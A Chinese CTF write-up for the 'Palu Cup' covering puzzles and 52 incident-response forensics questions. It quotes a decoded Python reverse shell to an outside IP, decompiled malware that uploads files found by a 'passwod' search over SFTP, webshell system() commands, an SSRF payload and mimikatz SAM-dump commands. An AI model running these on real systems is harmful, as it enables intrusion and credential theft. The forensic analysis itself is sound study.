本文主要是介绍第一届 “帕鲁杯“ writeup,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文章目录
- Misc
- Misc-签到
- 江
- FM 145.8
- ez_misc
- 为什么我的新猫猫吃不饱
- Crypto
- 玛卡巴卡有什么坏心思呢
- web
- Web-签到
- 应急响应
- 1.找到JumpServer堡垒机中flag标签的值。
- 2.提交攻击者第一次登录时间。
- 3.提交攻击者源IP。
- 4.提交攻者使用的cve编号。
- 5.提交攻击者留在Web服务器上的恶意程序的32位小写md5值。
- 6.分析恶意程序连接地址和密码。
- 7.提交存在反序列化漏洞的端口。
- 8.提交攻击者使用的后门路由地址。
- 9.提交dnslog反弹域名。
- 10.提交第一次扫描器使用时间。
- 11.提交攻击者反弹shell使用的语言。
- 12.提交攻击者反弹shell的ip。
- 13.提交攻击者留下的账号。
- 14.提交攻击者的后门账户密码。
- 15.提交测试数据条数。
- 16.请提交攻击者留下的信息。
- 17.请提交运维服务器上的恶意文件md5
- 18.提交恶意文件的恶意函数。
- 19.请提交攻击者恶意注册的恶意用户条数。
- 20.请提交对博客系统的第一次扫描时间。
- 21.提交攻击者下载的文件。
- 22.请提交攻击者第一次下载服务器文件的时间。
- 23.请提交攻击者留下的冰蝎马的文件名称。
- 24.提交冰蝎的链接密码。
- 25.提交办公区存在的恶意用户名。
- 26.提交恶意用户密码到期时间。
- 27.请对办公区留存的镜像取证并指出内存疑似恶意进程。
- 28.请指出该员工使用的公司OA平台的密码。
- 29.攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么。
- 30.请提交该计算机中记录的重要联系人的家庭住址。
- 31.请提交近源靶机上的恶意文件哈希。
- 32.提交恶意程序的外联地址。
- 33.提交攻击者使用内网扫描工具的哈希。
- 34.请提交攻击者在站点上留下的后门密码。
- 35.请提交攻击者在数据库留下的信息。
- 36.提交攻击者在监控服务器上留下的dcnlog地址。
- 37.提交监控服务器上恶意用户的上一次登录时间。
- 38.提交监控服务器上遗留的反弹shell地址和端口。
- 39.提交恶意钓鱼文件的哈希。
- !40.提交恶意文件外连IP。
- 41.提交被恶意文件钓鱼使用者的姓名。
- 42.提交攻击者留下的信息。
- 43.提交恶意用户数量。
- 44.请提交员工集体使用的密码。
- 45.提交加密文件的哈希。
- 46.提交被攻击者加密的内容明文。
- 47.请提交符合基线标准的服务器数量。
- 48.提交办公区的恶意文件哈希。
- 49.提交恶意回连端口。
- 50.提交恶意程序中的flag。
- 51.提交恶意文件中的search_for_text内容。
- !52.提交web服务器上攻击者修改后的root密码。
这次是跟朋友们打的,由于应急的题多侥幸拿了个稍微过得去的名次。主要是应急题做的差不多,故写wp
40和52不会
Misc
Misc-签到
使用python进行chr
s = '''27880
30693
25915
21892
38450
23454
39564
23460
21457
36865
112
108
98
99
116
102
33719
21462
21069
27573
102
108
97
103
20851
27880
79
110
101
45
70
111
120
23433
20840
22242
38431
22238
22797
112
108
98
99
116
102
33719
21462
21518
27573
102
108
97
103'''.split('\n')
for i in s:print(chr(int(i)),end='')
关注知攻善防实验室发送plbctf获取前段flag关注One-Fox安全团队回复plbctf获取后段flag
关注即可
flag{TreJaiuLT1rgbdfG0Eay}
江
观察到
江汉 薪金珠宝,搜一下即可在3D地图上找到
然后根据格式提交
flag{湖北省武汉市江汉二路与江汉路步行街交叉路口}
FM 145.8
一眼SSTV
flag{19b4dD77bF3c66f91c23F5A25Bc314CB}
ez_misc
图片尾有一段空白字符,不是whitespace是snow。复制下来保存到新文件里
空密码能解出一段Carefree and carefree,直接就是压缩包密码,解压即可
flag{b220116fc6ca827ecf3cb6c6c06dac26}
为什么我的新猫猫吃不饱
旧题存在附件未删干净,被更新题目了(
首先在gif尾发现第一段flag:UOZT{NB_XZ1_
至于为什么不要后面的HHT5,请看下一张图
使用atbash–》flag{my_ca1_ (FLAG{MY_CA1_)
第二段在gif+png里
用gifframe分离出来,然后发现Frame22和png一致,拿去盲水印,这里试了好几个最后是linya的频域盲水印
1s_Fu11}
flag{my_ca1_1s_Fu11}交不上
然后下午4点flag更新了,交的上了
flag{my_ca1_1s_Fu11}
Crypto
玛卡巴卡有什么坏心思呢
搜索"玛卡巴卡编码" 解密
找到github项目地址,找commithttps://github.com/ChinaRan0/Drt-AAV/commit/8f42d480e0626e3af176db12df520026b6e5c076#diff-6e1d6f196dc2487346f7ae8aafe3edb28a6abc558b567c516853104163968f12
找到码表,写个脚本转换
def decode_message(encoded_message, encoding_rules):decoding_rules = {v: k for k, v in encoding_rules.items()}decoded_message = ""i = 0while i < len(encoded_message):for encoded_str in sorted(decoding_rules.keys(), key=len, reverse=True):if encoded_message[i:].startswith(encoded_str):decoded_message += decoding_rules[encoded_str]i += len(encoded_str)breakelse:i += 1return decoded_messageencoding_rules = {'a': '玛卡巴卡轰','b': '阿巴雅卡轰','c': '伊卡阿卡噢轰','d': '哈姆达姆阿卡嗙轰','e': '咿呀呦轰','f': '玛卡雅卡轰','g': '伊卡阿卡轰','h': '咿呀巴卡轰','i': '达姆阿卡嗙轰','j': '玛卡巴卡玛卡巴卡轰','k': '玛卡巴卡玛卡巴卡玛卡巴卡轰','l': '玛卡巴卡玛卡巴卡玛卡巴卡玛卡巴卡轰','m': '阿巴雅卡阿巴雅卡轰','n': '阿巴雅卡阿巴雅卡阿巴雅卡轰','o': '阿巴雅卡阿巴雅卡阿巴雅卡阿巴雅卡轰','p': '伊卡阿卡噢伊卡阿卡噢轰','q': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰','r': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰','s': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰','t': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰','u': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰','v': '咿呀呦咿呀呦轰','w': '咿呀呦咿呀呦咿呀呦轰','x': '咿呀呦咿呀呦咿呀呦咿呀呦轰','y': '咿呀呦咿呀呦咿呀呦咿呀呦咿呀呦轰','z': '玛卡雅卡玛卡雅卡轰','A': '玛卡雅卡玛卡雅卡玛卡雅卡轰','B': '玛卡雅卡玛卡雅卡玛卡雅卡玛卡雅卡轰','C': '伊卡阿卡伊卡阿卡轰','D': '伊卡阿卡伊卡阿卡伊卡阿卡轰','E': '伊卡阿卡伊卡阿卡伊卡阿卡伊卡阿卡轰','F': '咿呀巴卡咿呀巴卡轰','G': '咿呀巴卡咿呀巴卡咿呀巴卡轰','H': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰','I': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰','J': '达姆阿卡嗙达姆阿卡嗙轰','K': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰','L': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰','M': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰','N': '巴卡巴卡轰','O': '巴卡巴卡巴卡巴卡轰','P': '巴卡巴卡巴卡巴卡巴卡巴卡轰','Q': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰','R': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰','S': '呀呦轰','T': '呀呦呀呦轰','U': '呀呦呀呦呀呦轰','V': '呀呦呀呦呀呦呀呦轰','W': '呀呦呀呦呀呦呀呦呀呦轰','X': '达姆阿卡轰','Y': '达姆阿卡达姆阿卡轰','Z': '达姆阿卡达姆阿卡达姆阿卡轰','0': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰','1': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰','2': '玛巴轰','3': '玛巴玛巴轰','4': '玛巴玛巴玛巴轰','5': '玛巴玛巴玛巴玛巴轰','6': '巴卡玛巴轰','7': '巴卡玛巴巴卡玛巴轰','8': '巴卡玛巴巴卡玛巴巴卡玛巴轰','9': '巴卡玛巴巴卡玛巴巴卡玛巴巴卡玛巴轰','=': '妈个巴子轰','/': '妈个巴卡轰','+': '妈个巴达轰',}
encoded_message = "玛卡巴卡玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡阿巴雅卡轰达姆阿卡嗙轰哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡轰咿呀呦轰达姆阿卡嗙轰"
decoded_text = decode_message(encoded_message, encoding_rules)
print(decoded_text)
#jinitaimei
flag{jinitaimei}
web
Web-签到
from flask import Flask, request, jsonify
import requests
from flag import flag # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)@app.route('/', methods=['GET', 'POST'])
def getinfo():url = request.args.get('url')if url:# 请求urlresponse = requests.get(url)content = response.textprint(content)if "paluctf" in content:return flagelse:return contentelse:response = {'message': 200, # 这里是数值,不是字符串'data': "Come sign in and get the flag!"}return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():return "paluctf"if __name__ == '__main__':app.run(debug=True, host="0.0.0.0", port=80)
能够看到需要带有paluctf才能够得到flag,那么直接?url=http://localhost/flag就能得到paluctf
因此最终payload:http://127.0.0.1:50258/?url=http://localhost/flag
应急响应
1.找到JumpServer堡垒机中flag标签的值。
访问后台http://192.168.20.123:8080,账号密码admin/Network@2020
在更多选项中标签里找到flag
[BrYeaVj54009rDIZzu4O]
2.提交攻击者第一次登录时间。
试了几个不对,然后准备试一个很特别的,没想到就是
[2024/04/11/14:21:18]
3.提交攻击者源IP。
在jumpserver的资产详情中找到ip
[192.168.1.4]
4.提交攻者使用的cve编号。
攻击者登陆后使用了作业模块,联系到最近刚出的jumpserver的两个新漏洞,拿下
[CVE-2024-29201]
5.提交攻击者留在Web服务器上的恶意程序的32位小写md5值。
在root下有一个home,一开始看到了放vt上看没毒就以为不是这个文件,后来发现在jumpserver上出题人计算了这个文件的hash就觉的不简单。
导出
[84413332e4e7138adc5d6f1f688ddd69]
6.分析恶意程序连接地址和密码。
第一次知道linux的python程序也能用unpacker
甚至版本,那就在线吧
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10import os
import paramiko
from getpass import getpassdef search_in_files(directory, search_text):pass
# WARNING: Decompyle incompletedef ssh(local_file_path, remote_file_path):hostname = '82.157.238.111'port = 22username = 'root'password = '1qaz@WSX3edc'client = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())client.connect(hostname, port, username, password)sftp = client.open_sftp()sftp.put(local_file_path, remote_file_path)sftp.close()client.close()print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)
[e695461c231aee4ed46b201efca18ff8-7da188c2e2d83e38b7d9e75e500f1af8]
7.提交存在反序列化漏洞的端口。
在WAF中找到shell路径和密码,查看当前网络开发情况
http://192.168.20.121/?123=system(%27netstat%20-anpt%27);
发现有7001,8080,测试后8080为反序列化漏洞的端口
[8080]
8.提交攻击者使用的后门路由地址。
在jumpserver里的记录里面发现cat了app.py
尝试提交/api/system的答案,对的
[948c4425bad48511fd6281d345ee69a1]
9.提交dnslog反弹域名。
发现flask文件夹下有一个log.txt
提交0vqkht.dnslog.cn答案不对,往后找到还有0vqkht.palu.cn
[86fedf00e173a0d531be569028fc1f6e]
10.提交第一次扫描器使用时间。
在上面找到log日志,可以发现间隔时间非常之短,有没有可能就是扫描器呢?
没想到对了…这也算扫描器
[2024/04/15/02:26:59]
11.提交攻击者反弹shell使用的语言。
在log日志找到python
[23eeeb4347bdd26bfc6b7ee9a3b755dd]
12.提交攻击者反弹shell的ip。
同上图
[82.157.238.174]
13.提交攻击者留下的账号。
[palu.com]
14.提交攻击者的后门账户密码。
用dg打开然后看shadow
猜测能用rockyou爆破
密码123123
[4297f44b13955235245b2497399d7a93]
15.提交测试数据条数。
看mysql1,5条
[e4da3b7fbbce2345d7772b0674a318d5]
16.请提交攻击者留下的信息。
在/var/log/nginx下想查看日志的时候,发现一个hack文件
flag{hi_palu_f10g}
17.请提交运维服务器上的恶意文件md5
在jumpserver上看到上传了个helloworld
找到在lib下,直接拷贝的镜像看不到lib文件
同时也计算了helloworld的hash,猜测可能是相关题目,用base64输出一下
拷贝出来解码,计算一下hash即可
[0fca0f847a45401c878d7a5303ddc1f8]
18.提交恶意文件的恶意函数。
不知道为什么不是haveadoor,答案是begingame
[ddd0599cda1fc289a617db148d75383b]
19.请提交攻击者恶意注册的恶意用户条数。
10
[d3d9446802a44259755d38e6d163e820]
20.请提交对博客系统的第一次扫描时间。
[2024/04/16/21:03:46]
21.提交攻击者下载的文件。
在WAF里发现下载了一个upload.zip
[upload.zip]
22.请提交攻击者第一次下载服务器文件的时间。
这题是做的倒数第7题,之前在做的时候找到log日志
这次是找到的jumpserver里也多次出现的other_vhosts_access
然后发现这里面的格式就是flag格式,尝试搜了一下upload.zip
[16/Apr/2024:09:03:52]
23.请提交攻击者留下的冰蝎马的文件名称。
用自带的后门查看一下
view-source:http://192.168.20.121/?123=system(%27cat%20./api/nidewen.php%27);
名称nidewen.php
[nidewen.php]
24.提交冰蝎的链接密码。
通过搜索可知,该密钥为连接密码32位md5值的前16位
秘钥1be873048db838ac
…,再来试试rockyou.txt字典,也不行,留着了。
Github 搜索,启动!
[nidewen]
25.提交办公区存在的恶意用户名。
登录时一共两个账号,一个administrator,另一个就是hacker
[hacker]
26.提交恶意用户密码到期时间。
cmd管理员运行net user hacker
不过这题在jumpserver里看操作记录视频回放也能看到
[2024/5/28/21:40:37]
27.请对办公区留存的镜像取证并指出内存疑似恶意进程。
windows,好,winhex导出
windows10是吧,volatility3启动
发现.hack.ex
[.hack.ex]
28.请指出该员工使用的公司OA平台的密码。
在查看内存文件的时候,发现用户叫qiyue
我有七月师傅的好友,然后在我印象里他应该不在这个团队
并且这个.hack.ex我有印象
google搜了一下“".hack.ex" “CTF””
https://blog.csdn.net/qq_22406677/article/details/135001795
不过网上只有答案没有wp。
既然这样我就不用vol3来做了
很轻易再次证明和本次PC1没有关系。
然后iehistory一下发现访问过一个password.txt,filescan+dumpfiles导出
密码liuling7541
[liuling7541]
29.攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么。
用多个命令来查看基本信息,在查看剪贴板的时候发现一个文件h4ck3d!
[h4ck3d!]
30.请提交该计算机中记录的重要联系人的家庭住址。
找Contact
王总一看就很重要
不愧是王总,秋水省雁荡市碧波区千屿山庄1号
[秋水省雁荡市碧波区千屿山庄1号]
31.请提交近源靶机上的恶意文件哈希。
打开电脑自动打开开始菜单的一个文件夹,猜测为恶意文件,使用windows自带的命令计算hash
[a7fcd0b15a080167c4c2f05063802a6e]
32.提交恶意程序的外联地址。
在虚拟机中安装vmware-tools,拖出来之后上传到vt
https://www.virustotal.com/gui/file/9f6ae95b5540d0d6c60e942fa68dee44b2781c58da3f21321f18b8384ab41084
找到这个CN的地址
[101.78.63.44]
33.提交攻击者使用内网扫描工具的哈希。
能够在记录里发现使用了fscan
发现路径为/bin
用md5sum计算一下即可
view-source:http://192.168.20.121/?123=system(%22md5sum%20/bin/fscan%22);
[1facdcd05c43ba4d37274dffc90b6d4e]
34.请提交攻击者在站点上留下的后门密码。
第7题提到了密码是123
[202cb962ac59075b964b07152d234b70]
35.请提交攻击者在数据库留下的信息。
直接连上mysql1
[flag{hack_palu}]
36.提交攻击者在监控服务器上留下的dcnlog地址。
[palu.dcnlog.cn]
37.提交监控服务器上恶意用户的上一次登录时间。
搜索如何登录zabbix,找到http://192.168.20.12/zabbix/
顺便百度也给出来默认账号密码是Admin/zabbix
在用户处查看到最后一次登录时间
[2024/04/17/01:32:44]
38.提交监控服务器上遗留的反弹shell地址和端口。
见36的第6个命令,base解一下得到
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.183.110.12",7890));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
[154.183.110.12:7890]
当然在平台上看也是可以的
39.提交恶意钓鱼文件的哈希。
在做45题时是搜索到了一个帕鲁杯初稿文件,猜测过会不会是钓鱼文档,测试后发现能提交
[da75025ff7f3b6baa27f5913c1c83063]
!40.提交恶意文件外连IP。
不会,尝试了翻事件管理器中的安全日志只出现了两个IP都试过了不对。
41.提交被恶意文件钓鱼使用者的姓名。
[陈琚鹭]
42.提交攻击者留下的信息。
看jumpserver
找视频
flag{2024-04-17-hi}
43.提交恶意用户数量。
在PC2上,打开cmd执行net user
一共49个
[f457c545a9ded88f18ecee47145a72c0]
44.请提交员工集体使用的密码。
使用winhex将SAM与SYSTEM导出
导出后使用mimikatz
sekurlsa::minidump SYSTEM
lsadump::sam /sam:SAM /system:SYSTEM
随便选一个看看
能够发现这个NTLM与administrator的NTLM是同一个,那么所有用户的密码都是administrator的密码
[Network@2020]
45.提交加密文件的哈希。
发现上传了一个docx文件,于是乎使用everything去搜一下
误打误撞找到加密文件
[2bf71a0d6d4e70cec7602da2b653e2ab]
46.提交被攻击者加密的内容明文。
脚本见crypto题目
[2024ispassword]
47.请提交符合基线标准的服务器数量。
不知道,我理解的就是6台机器里面标准的数量,1-6都不对,最后猜的0对了
[cfcd208495d565ef66e7dff9f98764da]
48.提交办公区的恶意文件哈希。
在jumpserver的会话中发现PC2上传了一个文件palucomeyi1.exe
传一个everything上去搜
算一下hash
[5232a191eb2913337e0a93b0a990f2a2]
49.提交恶意回连端口。
使用unpacker
然后uncompyle6
结果如下:
# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 2.7.18 (default, Jul 1 2022, 10:30:50)
# [GCC 11.2.0]
# Embedded file name: palucomeyi1.py#[此处省略400行由于反编译导致的无关代码]
Instruction context:L. 13 86 LOAD_FAST 'file_path'88 LOAD_FAST 'search_text'90 BUILD_TUPLE_2 2 92 POP_BLOCK
-> 94 ROT_TWO 96 BEGIN_FINALLY 98 WITH_CLEANUP_START100 WITH_CLEANUP_FINISH102 POP_FINALLY 0 ''104 ROT_TWO 106 POP_TOP 108 ROT_TWO 110 POP_TOP 112 RETURN_VALUE 114_0 COME_FROM 84 '84'114 POP_BLOCK 116 BEGIN_FINALLY 118_0 COME_FROM_WITH 66 '66'118 WITH_CLEANUP_START120 WITH_CLEANUP_FINISH122 END_FINALLY 124 JUMP_BACK 24 'to 24'
import os, paramiko
from getpass import getpassdef search_in_files--- This code section failed: ---L. 6 0 LOAD_GLOBAL os2 LOAD_METHOD walk4 LOAD_FAST 'directory'6 CALL_METHOD_1 1 ''8 GET_ITER 10 FOR_ITER 128 'to 128'12 UNPACK_SEQUENCE_3 3 14 STORE_FAST 'root'16 STORE_FAST 'dirs'18 STORE_FAST 'files'L. 7 20 LOAD_FAST 'files'22 GET_ITER 24_0 COME_FROM 36 '36'24 FOR_ITER 126 'to 126'26 STORE_FAST 'file'L. 8 28 LOAD_FAST 'file'30 LOAD_METHOD endswith32 LOAD_STR '.txt'34 CALL_METHOD_1 1 ''36 POP_JUMP_IF_FALSE 24 'to 24'L. 9 38 LOAD_GLOBAL os40 LOAD_ATTR path42 LOAD_METHOD join44 LOAD_FAST 'root'46 LOAD_FAST 'file'48 CALL_METHOD_2 2 ''50 STORE_FAST 'file_path'L. 10 52 LOAD_GLOBAL open54 LOAD_FAST 'file_path'56 LOAD_STR 'r'58 LOAD_STR 'utf-8'60 LOAD_STR 'ignore'62 LOAD_CONST ('encoding', 'errors')64 CALL_FUNCTION_KW_4 4 '4 total positional and keyword args'66 SETUP_WITH 118 'to 118'68 STORE_FAST 'f'L. 11 70 LOAD_FAST 'f'72 LOAD_METHOD read74 CALL_METHOD_0 0 ''76 STORE_FAST 'contents'L. 12 78 LOAD_FAST 'search_text'80 LOAD_FAST 'contents'82 COMPARE_OP in84 POP_JUMP_IF_FALSE 114 'to 114'L. 13 86 LOAD_FAST 'file_path'88 LOAD_FAST 'search_text'90 BUILD_TUPLE_2 2 92 POP_BLOCK 94 ROT_TWO 96 BEGIN_FINALLY 98 WITH_CLEANUP_START100 WITH_CLEANUP_FINISH102 POP_FINALLY 0 ''104 ROT_TWO 106 POP_TOP 108 ROT_TWO 110 POP_TOP 112 RETURN_VALUE 114_0 COME_FROM 84 '84'114 POP_BLOCK 116 BEGIN_FINALLY 118_0 COME_FROM_WITH 66 '66'118 WITH_CLEANUP_START120 WITH_CLEANUP_FINISH122 END_FINALLY 124 JUMP_BACK 24 'to 24'126 JUMP_BACK 10 'to 10'Parse error at or near `ROT_TWO' instruction at offset 94def ssh(local_file_path, remote_file_path):hostname = '192.168.20.123'port = 22username = 'root'password = 'Network@2020'client = paramiko.SSHClientclient.set_missing_host_key_policyparamiko.AutoAddPolicyclient.connect(hostname, port, username, password)sftp = client.open_sftpsftp.putlocal_file_pathremote_file_pathsftp.closeclient.closeprint(f"File {local_file_path} uploaded to {remote_file_path} on {hostname}")flag = 'flag{234567uyhgn_aiduyai}'search_directory = '/'
search_for_text = 'passwod'
a, b = search_in_files(search_directory, search_for_text)
ssh(a, b)
端口22
[22]
50.提交恶意程序中的flag。
如上
flag{234567uyhgn_aiduyai}
51.提交恶意文件中的search_for_text内容。
如上上
[passwod]
!52.提交web服务器上攻击者修改后的root密码。
这个是真的一点思路没有
这篇关于第一届 “帕鲁杯“ writeup的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!